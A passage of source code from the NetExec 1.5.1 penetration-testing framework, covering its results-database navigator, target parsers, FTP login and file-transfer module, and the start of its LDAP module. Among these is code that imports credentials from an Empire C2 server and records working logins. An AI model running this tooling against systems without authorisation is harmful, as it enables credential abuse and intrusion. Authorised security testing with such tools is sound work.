self.db.get_hosts("signing") signing_hosts = [host[1] for host in hosts] write_list(filename, signing_hosts) else: print(f"[-] No such export option: {line[1]}") return print("[+] WCC exported") else: print("[-] Invalid argument, specify creds, hosts, local_admins, shares, wcc or dpapi") @staticmethod def help_export(): help_string = """ export [creds|hosts|local_admins|shares|signing|keys] [simple|detailed|*] [filename] Exports information to a specified file * hosts has an additional third option from simple and detailed: signing - this simply writes a list of ips of hosts where signing is enabled * keys' third option is either "all" or an id of a key to export export keys [all|id] [filename] """ print_help(help_string) def do_import(self, line): if not line: return if line == "empire": headers = {"Content-Type": "application/json"} # Pull the username and password from the config file payload = { "username": self.config.get("Empire", "username"), "password": self.config.get("Empire", "password"), } # Pull the host and port from the config file base_url = f"https://{self.config.get('Empire', 'api_host')}:{self.config.get('Empire', 'api_port')}" try: r = post( base_url + "/api/admin/login", json=payload, headers=headers, verify=False, ) if r.status_code == 200: token = r.json()["token"] url_params = {"token": token} r = get( base_url + "/api/creds", headers=headers, params=url_params, verify=False, ) creds = r.json() for cred in creds["creds"]: if cred["credtype"] == "token" or cred["credtype"] == "krbtgt" or cred["username"].endswith("$"): continue self.db.add_credential( cred["credtype"], cred["domain"], cred["username"], cred["password"], ) print("[+] Empire credential import successful") else: print("[-] Error authenticating to Empire's RESTful API server!") except ConnectionError as e: print(f"[-] Unable to connect to Empire's RESTful API server: {e}") class NXCDBMenu(cmd.Cmd): def __init__(self, config_path): cmd.Cmd.__init__(self) self.config_path = config_path self.conn = None self.p_loader = ProtocolLoader() self.protocols = self.p_loader.get_protocols() self.config = open_config(self.config_path) self.workspace = get_workspace(self.config) self.db = get_db(self.config) self.do_workspace(self.workspace) def do_proto(self, proto): if not proto: return proto_db_path = path_join(WORKSPACE_DIR, self.workspace, f"{proto}.db") if exists(proto_db_path): self.conn = create_db_engine(proto_db_path) db_nav_object = self.p_loader.load_protocol(self.protocols[proto]["nvpath"]) db_object = self.p_loader.load_protocol(self.protocols[proto]["dbpath"]) self.config.set("nxc", "last_used_db", proto) write_configfile(self.config, self.config_path) try: proto_menu = db_nav_object.navigator(self, db_object.database(self.conn), proto) proto_menu.cmdloop() except UserExitedProto: pass @staticmethod def help_proto(): help_string = """ proto [smb|mssql|winrm] *unimplemented protocols: ftp, rdp, ldap, ssh Changes nxcdb to the specified protocol """ print_help(help_string) def do_workspace(self, line): line = line.strip() if not line: subcommand = "" self.help_workspace() return else: subcommand = line.split()[0] if subcommand == "create": if len(line.split()) < 2: print("[-] not enough arguments") return elif not line.split()[1].strip(): print("[-] invalid workspace name") return new_workspace = line.split()[1].strip() print(f"[*] Creating workspace '{new_workspace}'") create_workspace(new_workspace, self.p_loader) self.do_workspace(new_workspace) elif subcommand == "list": print("[*] Enumerating Workspaces") for workspace in listdir(path_join(WORKSPACE_DIR)): if workspace == self.workspace: print(f" * {colored(workspace, 'green')}") else: print(f" {workspace}") elif exists(path_join(WORKSPACE_DIR, line)): self.config.set("nxc", "workspace", line) write_configfile(self.config, self.config_path) self.workspace = line self.prompt = f"nxcdb ({line}) > " @staticmethod def help_workspace(): help_string = """ workspace [workspace create | workspace list | workspace ] """ print_help(help_string) @staticmethod def do_exit(line): sys.exit() @staticmethod def do_EOF(line): sys.exit() @staticmethod def help_exit(): help_string = """ Exits """ print_help(help_string) def main(): if not exists(CONFIG_PATH): print("[-] Unable to find config file") sys.exit(1) parser = argparse.ArgumentParser( description="NXCDB is a database navigator for NXC", ) parser.add_argument( "-gw", "--get-workspace", action="store_true", help="get the current workspace", ) parser.add_argument( "-cw", "--create-workspace", help="create a new workspace", ) parser.add_argument( "-sw", "--set-workspace", help="set the current workspace", ) args = parser.parse_args() if args.create_workspace: create_workspace(args.create_workspace) sys.exit() if args.set_workspace: set_workspace(CONFIG_PATH, args.set_workspace) sys.exit() if args.get_workspace: current_workspace = get_workspace(open_config(CONFIG_PATH)) for workspace in listdir(path_join(WORKSPACE_DIR)): if workspace == current_workspace: print(f" * {colored(workspace, 'green')}") else: print(f" {workspace}") sys.exit() try: nxcdbnav = NXCDBMenu(CONFIG_PATH) nxcdbnav.cmdloop() except KeyboardInterrupt: pass if __name__ == "__main__": main() NetExec-1.5.1/nxc/parsers/000077500000000000000000000000001514706431700153305ustar00rootroot00000000000000NetExec-1.5.1/nxc/parsers/__init__.py000066400000000000000000000000001514706431700174270ustar00rootroot00000000000000NetExec-1.5.1/nxc/parsers/ip.py000077500000000000000000000016301514706431700163150ustar00rootroot00000000000000from ipaddress import ip_address, ip_network, summarize_address_range, ip_interface def parse_targets(target): try: if "-" in target: start_ip, end_ip = target.split("-") try: end_ip = ip_address(end_ip) except ValueError: first_three_octets = start_ip.split(".")[:-1] first_three_octets.append(end_ip) end_ip = ip_address(".".join(first_three_octets)) for ip_range in summarize_address_range(ip_address(start_ip), end_ip): for ip in ip_range: yield str(ip) else: if ip_interface(target).ip.version == 6 and ip_address(target).is_link_local: yield str(target) else: for ip in ip_network(target, strict=False): yield str(ip) except ValueError: yield str(target) NetExec-1.5.1/nxc/parsers/ldap_results.py000066400000000000000000000044741514706431700204140ustar00rootroot00000000000000from impacket.ldap import ldapasn1 as ldapasn1_impacket from uuid import UUID def parse_result_attributes(ldap_response): parsed_response = [] for entry in ldap_response: # SearchResultReferences may be returned if not isinstance(entry, ldapasn1_impacket.SearchResultEntry): continue attribute_map = {} for attribute in entry["attributes"]: val_list = [] for val in attribute["vals"].components: # Typical Byte objects we know how to decode if str(attribute["type"]) == "objectGUID": val_decoded = UUID(bytes=val.__bytes__()) elif str(attribute["type"]) == "objectSid": val_decoded = sid_to_str(val.__bytes__()) elif str(attribute["type"]) == "dNSProperty": val_decoded = val.__bytes__() else: # For the rest we try to decode the value with its encoding try: encoding = val.encoding val_decoded = str(val).encode(encoding).decode("utf-8") except UnicodeDecodeError: # If we can't decode the value, we'll just return the bytes val_decoded = val.__bytes__() val_list.append(val_decoded) if len(val_list) == 1: attribute_map[str(attribute["type"])] = val_list[0] else: attribute_map[str(attribute["type"])] = val_list parsed_response.append(attribute_map) return parsed_response def sid_to_str(sid): try: # revision revision = int(sid[0]) # count of sub authorities sub_authorities = int(sid[1]) # big endian identifier_authority = int.from_bytes(sid[2:8], byteorder="big") # If true then it is represented in hex if identifier_authority >= 2**32: identifier_authority = hex(identifier_authority) # loop over the count of small endians sub_authority = "-" + "-".join([str(int.from_bytes(sid[8 + (i * 4): 12 + (i * 4)], byteorder="little")) for i in range(sub_authorities)]) return "S-" + str(revision) + "-" + str(identifier_authority) + sub_authority except Exception: pass return sid NetExec-1.5.1/nxc/parsers/nessus.py000066400000000000000000000026731514706431700172320ustar00rootroot00000000000000import xmltodict # Ideally i'd like to be able to pull this info out dynamically from each protocol object but i'm a lazy bastard protocol_dict = { "smb": {"ports": [445, 139], "services": ["smb", "cifs"]}, "mssql": {"ports": [1433], "services": ["mssql"]}, "ssh": {"ports": [22], "services": ["ssh"]}, "winrm": {"ports": [5986, 5985], "services": ["www", "https?"]}, "http": {"ports": [80, 443, 8443, 8008, 8080, 8081], "services": ["www", "https?"]}, } def parse_nessus_file(nessus_file, protocol): targets = [] def handle_nessus_file(path, item): # Must return True otherwise xmltodict will throw a ParsingIterrupted() exception # https://github.com/martinblech/xmltodict/blob/master/xmltodict.py#L219 if any("ReportHost" and "ReportItem" in values for values in path): item = dict(path) ip = item["ReportHost"]["name"] if ip in targets: return True port = item["ReportItem"]["port"] svc_name = item["ReportItem"]["svc_name"] if port in protocol_dict[protocol]["ports"]: targets.append(ip) if svc_name in protocol_dict[protocol]["services"]: targets.append(ip) return True else: return True with open(nessus_file) as file_handle: xmltodict.parse(file_handle, item_depth=4, item_callback=handle_nessus_file) return targets NetExec-1.5.1/nxc/parsers/nmap.py000066400000000000000000000023471514706431700166430ustar00rootroot00000000000000from libnmap.parser import NmapParser from nxc.logger import nxc_logger # right now we are only referencing the port numbers, not the service name, but this should be sufficient for 99% cases protocol_dict = { "ftp": {"ports": [21], "services": ["ftp"]}, "ssh": {"ports": [22, 2222], "services": ["ssh"]}, "smb": {"ports": [139, 445], "services": ["netbios-ssn", "microsoft-ds"]}, "ldap": {"ports": [389, 636], "services": ["ldap", "ldaps"]}, "mssql": {"ports": [1433], "services": ["ms-sql-s"]}, "rdp": {"ports": [3389], "services": ["ms-wbt-server"]}, "winrm": {"ports": [5985, 5986], "services": ["wsman"]}, "vnc": {"ports": [5900, 5901, 5902, 5903, 5904, 5905, 5906], "services": ["vnc"]}, "wmi": {"ports": [135], "services": ["msrpc"]}, "nfs": {"ports": [2049], "services": ["nfs"]}, } def parse_nmap_xml(nmap_output_file, protocol): nmap_report = NmapParser.parse_fromfile(nmap_output_file) targets = [] for host in nmap_report.hosts: for port, _proto in host.get_open_ports(): if port in protocol_dict[protocol]["ports"]: targets.append(host.ipv4) break nxc_logger.debug(f"Targets parsed from Nmap scan: {targets}") return targets NetExec-1.5.1/nxc/paths.py000066400000000000000000000006251514706431700153450ustar00rootroot00000000000000from os.path import join, normpath, expanduser, dirname from os import environ, getenv import nxc if "NXC_PATH" in environ: # noqa: SIM108 NXC_PATH = normpath(getenv("NXC_PATH")) else: NXC_PATH = normpath(expanduser("~/.nxc")) TMP_PATH = join(NXC_PATH, "tmp") CONFIG_PATH = join(NXC_PATH, "nxc.conf") WORKSPACE_DIR = join(NXC_PATH, "workspaces") DATA_PATH = join(dirname(nxc.__file__), "data") NetExec-1.5.1/nxc/protocols/000077500000000000000000000000001514706431700156755ustar00rootroot00000000000000NetExec-1.5.1/nxc/protocols/__init__.py000077500000000000000000000000001514706431700177770ustar00rootroot00000000000000NetExec-1.5.1/nxc/protocols/ftp.py000066400000000000000000000161721514706431700170470ustar00rootroot00000000000000import os from nxc.config import process_secret from nxc.connection import connection from nxc.helpers.logger import highlight from nxc.logger import NXCAdapter from ftplib import FTP, error_perm class ftp(connection): def __init__(self, args, db, host): self.protocol = "FTP" self.remote_version = None super().__init__(args, db, host) def proto_logger(self): self.logger = NXCAdapter( extra={ "protocol": "FTP", "host": self.host, "port": self.port, "hostname": self.hostname, } ) def proto_flow(self): self.proto_logger() if self.create_conn_obj() and self.login(): if hasattr(self.args, "module") and self.args.module: self.load_modules() self.logger.debug("Calling modules") self.call_modules() else: self.logger.debug("Calling command arguments") self.call_cmd_args() def enum_host_info(self): welcome = self.conn.getwelcome() self.logger.debug(f"Welcome result: {welcome}") self.remote_version = welcome.split("220", 1)[1].strip() # strip out the extra space in the front self.logger.debug(f"Remote version: {self.remote_version}") def print_host_info(self): self.logger.display(f"Banner: {self.remote_version}") def create_conn_obj(self): self.conn = FTP() try: self.conn.connect(host=self.host, port=self.port) except Exception as e: self.logger.debug(f"Error connecting to FTP host: {e}") return False return True def plaintext_login(self, username, password): if not self.conn.sock: self.create_conn_obj() try: self.logger.debug(self.conn.sock) resp = self.conn.login(user=username, passwd=password) self.logger.debug(f"Response: {resp}") except Exception as e: self.logger.fail(f"{username}:{process_secret(password)} (Response:{e})") self.conn.close() return False # 230 is "User logged in, proceed" response, ftplib raises an exception on failed login if "230" in resp: self.logger.debug(f"Host: {self.host} Port: {self.port}") self.db.add_host(self.host, self.port, self.remote_version) cred_id = self.db.add_credential(username, password) host_id = self.db.get_hosts(self.host)[0].id self.db.add_loggedin_relation(cred_id, host_id) if username in ["anonymous", ""]: self.logger.success(f"{username}:{process_secret(password)} {highlight('- Anonymous Login!')}") else: self.logger.success(f"{username}:{process_secret(password)}") if self.args.ls: # If the default directory is specified, then we will list the current directory if self.args.ls == ".": files = self.list_directory_full() # If files is false, then we encountered an exception if not files: return False # If there are files, then we can list the files self.logger.display("Directory Listing") for file in files: self.logger.highlight(file) else: # If the default directory is not specified, then we will list the specified directory self.logger.display(f"Directory Listing for {self.args.ls}") # Change to the specified directory try: self.conn.cwd(self.args.ls) except error_perm as error_message: self.logger.fail(f"Failed to change directory. Response: ({error_message})") self.conn.close() return False # List the files in the specified directory files = self.list_directory_full() for file in files: self.logger.highlight(file) if self.args.get: self.get_file(f"{self.args.get}") if self.args.put: self.put_file(self.args.put[0], self.args.put[1]) if not self.args.continue_on_success: self.conn.close() return True self.conn.close() def list_directory_full(self): # in the future we can use mlsd/nlst if we want, but this gives a full output like `ls -la` # ftplib's "dir" prints directly to stdout, and "nlst" only returns the folder name, not full details files = [] try: self.conn.retrlines("LIST -a", callback=files.append) except error_perm as error_message: self.logger.fail(f"Failed to list directory. Response: ({error_message})") self.conn.close() return False return files def get_file(self, filename): # Extract the filename from the path downloaded_file = filename.split("/")[-1] try: # Check if the current connection is ASCII (ASCII does not support .size()) if self.conn.encoding == "utf-8": # Switch the connection to binary self.conn.sendcmd("TYPE I") # Check if the file exists self.conn.size(filename) # Attempt to download the file self.conn.retrbinary(f"RETR {filename}", open(downloaded_file, "wb").write) # noqa: SIM115 except error_perm as error_message: self.logger.fail(f"Failed to download the file. Response: ({error_message})") self.conn.close() return False except FileNotFoundError: self.logger.fail("Failed to download the file. Response: (No such file or directory.)") self.conn.close() return False # Check if the file was downloaded if os.path.isfile(downloaded_file): self.logger.success(f"Downloaded: {filename}") else: self.logger.fail(f"Failed to download: {filename}") def put_file(self, local_file, remote_file): try: # Attempt to upload the file self.conn.storbinary(f"STOR {remote_file}", open(local_file, "rb")) # noqa: SIM115 except error_perm as error_message: self.logger.fail(f"Failed to upload file. Response: ({error_message})") return False except FileNotFoundError: self.logger.fail(f"Failed to upload file. {local_file} does not exist locally.") return False # Check if the file was uploaded if self.conn.size(remote_file) > 0: self.logger.success(f"Uploaded: {local_file} to {remote_file}") else: self.logger.fail(f"Failed to upload: {local_file} to {remote_file}") def supported_commands(self): raw_supported_commands = self.conn.sendcmd("HELP") supported_commands = [item for sublist in (x.split() for x in raw_supported_commands.split("\n")[1:-1]) for item in sublist] self.logger.debug(f"Supported commands: {supported_commands}") return supported_commands NetExec-1.5.1/nxc/protocols/ftp/000077500000000000000000000000001514706431700164665ustar00rootroot00000000000000NetExec-1.5.1/nxc/protocols/ftp/__init__.py000066400000000000000000000000001514706431700205650ustar00rootroot00000000000000NetExec-1.5.1/nxc/protocols/ftp/database.py000066400000000000000000000267111514706431700206130ustar00rootroot00000000000000 from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, select, delete, func from sqlalchemy.dialects.sqlite import Insert from sqlalchemy.orm import declarative_base from nxc.database import BaseDB, format_host_query from nxc.logger import nxc_logger Base = declarative_base() class database(BaseDB): def __init__(self, db_engine): self.CredentialsTable = None self.HostsTable = None self.LoggedinRelationsTable = None super().__init__(db_engine) class Credential(Base): __tablename__ = "credentials" id = Column(Integer) username = Column(String) password = Column(String) __table_args__ = ( PrimaryKeyConstraint("id"), ) class Host(Base): __tablename__ = "hosts" id = Column(Integer) host = Column(String) port = Column(Integer) banner = Column(String) __table_args__ = ( PrimaryKeyConstraint("id"), ) class LoggedInRelation(Base): __tablename__ = "loggedin_relations" id = Column(Integer) credid = Column(Integer) hostid = Column(Integer) __table_args__ = ( PrimaryKeyConstraint("id"), ForeignKeyConstraint(["credid"], ["credentials.id"]), ForeignKeyConstraint(["hostid"], ["hosts.id"]), ) class DirectoryListing(Base): __tablename__ = "directory_listings" id = Column(Integer) lir_id = Column(Integer) data = Column(String) __table_args__ = ( PrimaryKeyConstraint("id"), ForeignKeyConstraint(["lir_id"], ["loggedin_relations.id"]), ) @staticmethod def db_schema(db_conn): Base.metadata.create_all(db_conn) def reflect_tables(self): self.CredentialsTable = self.reflect_table(self.Credential) self.HostsTable = self.reflect_table(self.Host) self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation) self.DirectoryListingsTable = self.reflect_table(self.DirectoryListing) def add_host(self, host, port, banner): """Check if this host is already in the DB, if not add it""" hosts = [] updated_ids = [] q = select(self.HostsTable).filter(self.HostsTable.c.host == host) results = self.db_execute(q).all() # create new host if not results: new_host = { "host": host, "port": port, "banner": banner, } hosts = [new_host] # update existing hosts data else: for host_result in results: host_data = host_result._asdict() nxc_logger.debug(f"host: {host_result}") nxc_logger.debug(f"host_data: {host_data}") # only update column if it is being passed in if host is not None: host_data["host"] = host if port is not None: host_data["port"] = port if banner is not None: host_data["banner"] = banner # only add host to be updated if it has changed if host_data not in hosts: hosts.append(host_data) updated_ids.append(host_data["id"]) nxc_logger.debug(f"Hosts: {hosts}") # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id) update_columns = {col.name: col for col in q.excluded if col.name not in "id"} q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns) self.db_execute(q, hosts) # .scalar() # we only return updated IDs for now - when RETURNING clause is allowed we can return inserted if updated_ids: nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}") return updated_ids def add_credential(self, username, password): """Check if this credential has already been added to the database, if not add it in.""" credentials = [] q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username) == func.lower(username), func.lower(self.CredentialsTable.c.password) == func.lower(password)) results = self.db_execute(q).all() # add new credential if not results: new_cred = { "username": username, "password": password, } credentials = [new_cred] # update existing cred data else: for creds in results: # this will include the id, so we don't touch it cred_data = creds._asdict() # only update column if it is being passed in if username is not None: cred_data["username"] = username if password is not None: cred_data["password"] = password # only add cred to be updated if it has changed if cred_data not in credentials: credentials.append(cred_data) # TODO: find a way to abstract this away to a single Upsert call q_users = Insert(self.CredentialsTable) # .returning(self.CredentialsTable.c.id) update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"} q_users = q_users.on_conflict_do_update(index_elements=self.CredentialsTable.primary_key, set_=update_columns_users) nxc_logger.debug(f"Adding credentials: {credentials}") self.db_execute(q_users, credentials) # .scalar() # hacky way to get cred_id since we can't use returning() yet if len(credentials) == 1: return self.get_credential(username, password) else: return credentials def remove_credentials(self, creds_id): """Removes a credential ID from the database""" del_hosts = [] for cred_id in creds_id: q = delete(self.CredentialsTable).filter(self.CredentialsTable.c.id == cred_id) del_hosts.append(q) self.db_execute(q) def is_credential_valid(self, credential_id): """Check if this credential ID is valid.""" q = select(self.CredentialsTable).filter( self.CredentialsTable.c.id == credential_id, self.CredentialsTable.c.password is not None, ) results = self.db_execute(q).all() return len(results) > 0 def get_credential(self, username, password): q = select(self.CredentialsTable).filter( self.CredentialsTable.c.username == username, self.CredentialsTable.c.password == password, ) results = self.db_execute(q).first() if results is not None: return results.id def get_credentials(self, filter_term=None): """Return credentials from the database.""" # if we're returning a single credential by ID if self.is_credential_valid(filter_term): q = select(self.CredentialsTable).filter(self.CredentialsTable.c.id == filter_term) # if we're filtering by username elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username).like(like_term)) # otherwise return all credentials else: q = select(self.CredentialsTable) return self.db_execute(q).all() def is_host_valid(self, host_id): """Check if this host ID is valid.""" q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id) results = self.db_execute(q).all() return len(results) > 0 def get_hosts(self, filter_term=None): """Return hosts from the database.""" q = select(self.HostsTable) # if we're returning a single host by ID if self.is_host_valid(filter_term): q = q.filter(self.HostsTable.c.id == filter_term) results = self.db_execute(q).first() # all() returns a list, so we keep the return format the same so consumers don't have to guess return [results] # if we're filtering by host elif filter_term and filter_term != "": q = format_host_query(q, filter_term, self.HostsTable) results = self.db_execute(q).all() nxc_logger.debug(f"FTP get_hosts() - results: {results}") return results def is_user_valid(self, cred_id): """Check if this User ID is valid.""" q = select(self.CredentialsTable).filter(self.CredentialsTable.c.id == cred_id) results = self.db_execute(q).all() return len(results) > 0 def get_user(self, username): q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username) == func.lower(username)) return self.db_execute(q).all() def get_users(self, filter_term=None): q = select(self.CredentialsTable) if self.is_user_valid(filter_term): q = q.filter(self.CredentialsTable.c.id == filter_term) # if we're filtering by username elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") q = q.filter(func.lower(self.CredentialsTable.c.username).like(like_term)) return self.db_execute(q).all() def add_loggedin_relation(self, cred_id, host_id): relation_query = select(self.LoggedinRelationsTable).filter( self.LoggedinRelationsTable.c.credid == cred_id, self.LoggedinRelationsTable.c.hostid == host_id, ) results = self.db_execute(relation_query).all() # only add one if one doesn't already exist if not results: relation = {"credid": cred_id, "hostid": host_id} try: nxc_logger.debug(f"Inserting loggedin_relations: {relation}") # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id) self.db_execute(q, [relation]) # .scalar() inserted_id_results = self.get_loggedin_relations(cred_id, host_id) nxc_logger.debug(f"Checking if relation was added: {inserted_id_results}") return inserted_id_results[0].id except Exception as e: nxc_logger.debug(f"Error inserting LoggedinRelation: {e}") def get_loggedin_relations(self, cred_id=None, host_id=None): q = select(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id) if cred_id: q = q.filter(self.LoggedinRelationsTable.c.credid == cred_id) if host_id: q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id) return self.db_execute(q).all() def remove_loggedin_relations(self, cred_id=None, host_id=None): q = delete(self.LoggedinRelationsTable) if cred_id: q = q.filter(self.LoggedinRelationsTable.c.credid == cred_id) elif host_id: q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id) self.db_execute(q) def add_directory_listing(self, lir_id, data): pass def get_directory_listing(self): pass def remove_directory_listing(self): pass NetExec-1.5.1/nxc/protocols/ftp/db_navigator.py000066400000000000000000000142711514706431700215040ustar00rootroot00000000000000from nxc.nxcdb import DatabaseNavigator, print_table, print_help class navigator(DatabaseNavigator): def display_creds(self, creds): data = [ [ "CredID", "Total Logins", "Username", "Password", ] ] for cred in creds: total_users = self.db.get_loggedin_relations(cred_id=cred[0]) data.append( [ cred[0], str(len(total_users)) + " Host(s)", cred[1], cred[2], ] ) print_table(data, title="Credentials") def display_hosts(self, hosts): data = [ [ "HostID", "Total Users", "Host", "Port", "Banner", ] ] for h in hosts: total_users = self.db.get_loggedin_relations(host_id=h[0]) data.append( [ h[0], str(len(total_users)) + " User(s)", h[1], h[2], h[3], ] ) print_table(data, title="Hosts") def do_hosts(self, line): filter_term = line.strip() if filter_term == "": hosts = self.db.get_hosts() self.display_hosts(hosts) else: hosts = self.db.get_hosts(filter_term=filter_term) if len(hosts) > 1: self.display_hosts(hosts) elif len(hosts) == 1: data = [["HostID", "Host", "Port", "Banner"]] host_id_list = [h[0] for h in hosts] data += [[h[0], h[1], h[2], h[3], h[4]] for h in hosts] print_table(data, title="Host") login_data = [["CredID", "UserName", "Password"]] for host_id in host_id_list: login_links = self.db.get_loggedin_relations(host_id=host_id) for link in login_links: link_id, cred_id, host_id = link creds = self.db.get_credentials(filter_term=cred_id) for cred in creds: cred_data = [cred[0], cred[1], cred[2]] if cred_data not in login_data: login_data.append(cred_data) if len(login_data) > 1: print_table( login_data, title="Credential(s) with Logins", ) @staticmethod def help_hosts(self): help_string = """ hosts [filter_term] By default prints all hosts Table format: | 'HostID', 'Host', 'Port', 'Banner' | """ print_help(help_string) def do_creds(self, line): filter_term = line.strip() if filter_term == "": creds = self.db.get_credentials() self.display_creds(creds) elif filter_term.split()[0].lower() == "add": # add format: "username password" args = filter_term.split()[1:] if len(args) == 2: username, password = args self.db.add_credential(username, password) else: print("[!] Format is 'add username password") return elif filter_term.split()[0].lower() == "remove": args = filter_term.split()[1:] if len(args) != 1: print("[!] Format is 'remove '") return else: self.db.remove_credentials(args) self.db.remove_admin_relation(user_ids=args) else: creds = self.db.get_credentials(filter_term=filter_term) if len(creds) != 1: self.display_creds(creds) elif len(creds) == 1: cred_data = [["CredID", "UserName", "Password"]] cred_id_list = [] for cred in creds: cred_id = cred[0] cred_id_list.append(cred_id) username = cred[1] password = cred[2] cred_data.append([cred_id, username, password]) print_table(cred_data, title="Credential(s)") access_data = [["HostID", "Host", "Port", "Banner"]] for cred_id in cred_id_list: logins = self.db.get_loggedin_relations(cred_id=cred_id) for link in logins: link_id, cred_id, host_id = link hosts = self.db.get_hosts(host_id) access_data += [[h[0], h[1], h[2], h[3]] for h in hosts] # we look if it's greater than one because the header row always exists if len(access_data) > 1: print_table(access_data, title="Access to Host(s)") def help_creds(self): help_string = """ creds [add|remove|filter_term] By default prints all creds Table format: | 'CredID', 'Login To', 'UserName', 'Password' | Subcommands: add - format: "add username password " remove - format: "remove " filter_term - filters creds with filter_term If a single credential is returned (e.g. `creds 15`, it prints the following tables: Credential(s) | 'CredID', 'UserName', 'Password' | Access to Host(s) | 'HostID', 'Host', 'OS', 'Banner' Otherwise, it prints the default credential table from a `like` query on the `username` column """ print_help(help_string) def do_clear_database(self, line): if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y": self.db.clear_database() @staticmethod def help_clear_database(self): help_string = """ clear_database THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE YOU CANNOT UNDO THIS COMMAND """ print_help(help_string) NetExec-1.5.1/nxc/protocols/ftp/proto_args.py000066400000000000000000000012521514706431700212170ustar00rootroot00000000000000from nxc.helpers.args import DisplayDefaultsNotNone def proto_args(parser, parents): ftp_parser = parser.add_parser("ftp", help="own stuff using FTP", parents=parents, formatter_class=DisplayDefaultsNotNone) ftp_parser.add_argument("--port", type=int, default=21, help="FTP port") cgroup = ftp_parser.add_argument_group("File Operations") cgroup.add_argument("--ls", metavar="DIRECTORY", nargs="?", const=".", help="List all files (including hidden) in the directory") cgroup.add_argument("--get", metavar="FILE", help="Download a file") cgroup.add_argument("--put", metavar=("LOCAL_FILE", "REMOTE_FILE"), nargs=2, help="Upload a file") return parser NetExec-1.5.1/nxc/protocols/ldap.py000066400000000000000000002473571514706431700172110ustar00rootroot00000000000000# from https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py # https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf import hashlib import hmac import os import socket from errno import EHOSTUNREACH, ETIMEDOUT, ENETUNREACH from binascii import hexlify from datetime import datetime from re import sub, IGNORECASE from zipfile import ZipFile from termcolor import colored from dns import resolver from dateutil.relativedelta import relativedelta as rd from Cryptodome.Hash import MD4 from OpenSSL.SSL import SysCallError from bloodhound.ad.authentication import ADAuthentication from bloodhound.ad.domain import AD from impacket.dcerpc.v5.samr import ( UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH, UF_TRUSTED_FOR_DELEGATION, UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION, UF_SERVER_TRUST_ACCOUNT, SAM_MACHINE_ACCOUNT, ) from impacket.krb5 import constants from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError from impacket.krb5.ccache import CCache from impacket.krb5.types import Principal, KerberosException from impacket.ldap import ldap as ldap_impacket from impacket.ldap import ldaptypes from impacket.ldap import ldapasn1 as ldapasn1_impacket from impacket.ldap.ldap import LDAPFilterSyntaxError from impacket.smbconnection import SessionError from impacket.ntlm import getNTLMSSPType1 from nxc.config import process_secret, host_info_colors from nxc.connection import connection from nxc.helpers.bloodhound import add_user_bh from nxc.helpers.misc import get_bloodhound_info, convert, d2b from nxc.logger import NXCAdapter, nxc_logger from nxc.protocols.ldap.bloodhound import BloodHound from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB from nxc.protocols.ldap.kerberos import KerberosAttacks from nxc.parsers.ldap_results import parse_result_attributes from nxc.helpers.ntlm_parser import parse_challenge from nxc.paths import CONFIG_PATH ldap_error_status = { "1": "STATUS_NOT_SUPPORTED", "533": "STATUS_ACCOUNT_DISABLED", "701": "STATUS_ACCOUNT_EXPIRED", "531": "STATUS_ACCOUNT_RESTRICTION", "530": "STATUS_INVALID_LOGON_HOURS", "532": "STATUS_PASSWORD_EXPIRED", "773": "STATUS_PASSWORD_MUST_CHANGE", "775": "USER_ACCOUNT_LOCKED", "50": "LDAP_INSUFFICIENT_ACCESS", "0": "LDAP Signing IS Enforced", "KDC_ERR_CLIENT_REVOKED": "KDC_ERR_CLIENT_REVOKED", "KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED", } def resolve_collection_methods(methods): """Convert methods (string) to list of validated methods to resolve""" valid_methods = [ "group", "localadmin", "session", "trusts", "default", "all", "loggedon", "objectprops", "experimental", "acl", "dcom", "rdp", "psremote", "dconly", "container", ] default_methods = ["group", "localadmin", "session", "trusts"] # Similar to SharpHound, All is not really all, it excludes loggedon all_methods = [ "group", "localadmin", "session", "trusts", "objectprops", "acl", "dcom", "rdp", "psremote", "container", ] # DC only, does not collect to computers dconly_methods = ["group", "trusts", "objectprops", "acl", "container"] if "," in methods: method_list = [method.lower() for method in methods.split(",")] validated_methods = [] for method in method_list: if method not in valid_methods: nxc_logger.error("Invalid collection method specified: %s", method) return False if method == "default": validated_methods += default_methods elif method == "all": validated_methods += all_methods elif method == "dconly": validated_methods += dconly_methods else: validated_methods.append(method) return set(validated_methods) else: validated_methods = [] # It is only one method = methods.lower() if method in valid_methods: if method == "default": validated_methods += default_methods elif method == "all": validated_methods += all_methods elif method == "dconly": validated_methods += dconly_methods else: validated_methods.append(method) return set(validated_methods) else: nxc_logger.error("Invalid collection method specified: %s", method) return False class ldap(connection): def __init__(self, args, db, host): self.domain = None self.server_os = None self.os_arch = 0 self.hash = None self.ldap_connection = None self.lmhash = "" self.nthash = "" self.baseDN = "" self.forestDN = "" self.target = "" self.targetDomain = "" self.remote_ops = None self.bootkey = None self.signing_required = None self.cbt_status = None self.auth_choice = "sasl" if not args.simple_bind else "simple" self.admin_privs = False self.no_ntlm = False self.sid_domain = "" self.scope = None self.configuration_context = "" connection.__init__(self, args, db, host) def proto_logger(self): self.logger = NXCAdapter( extra={ 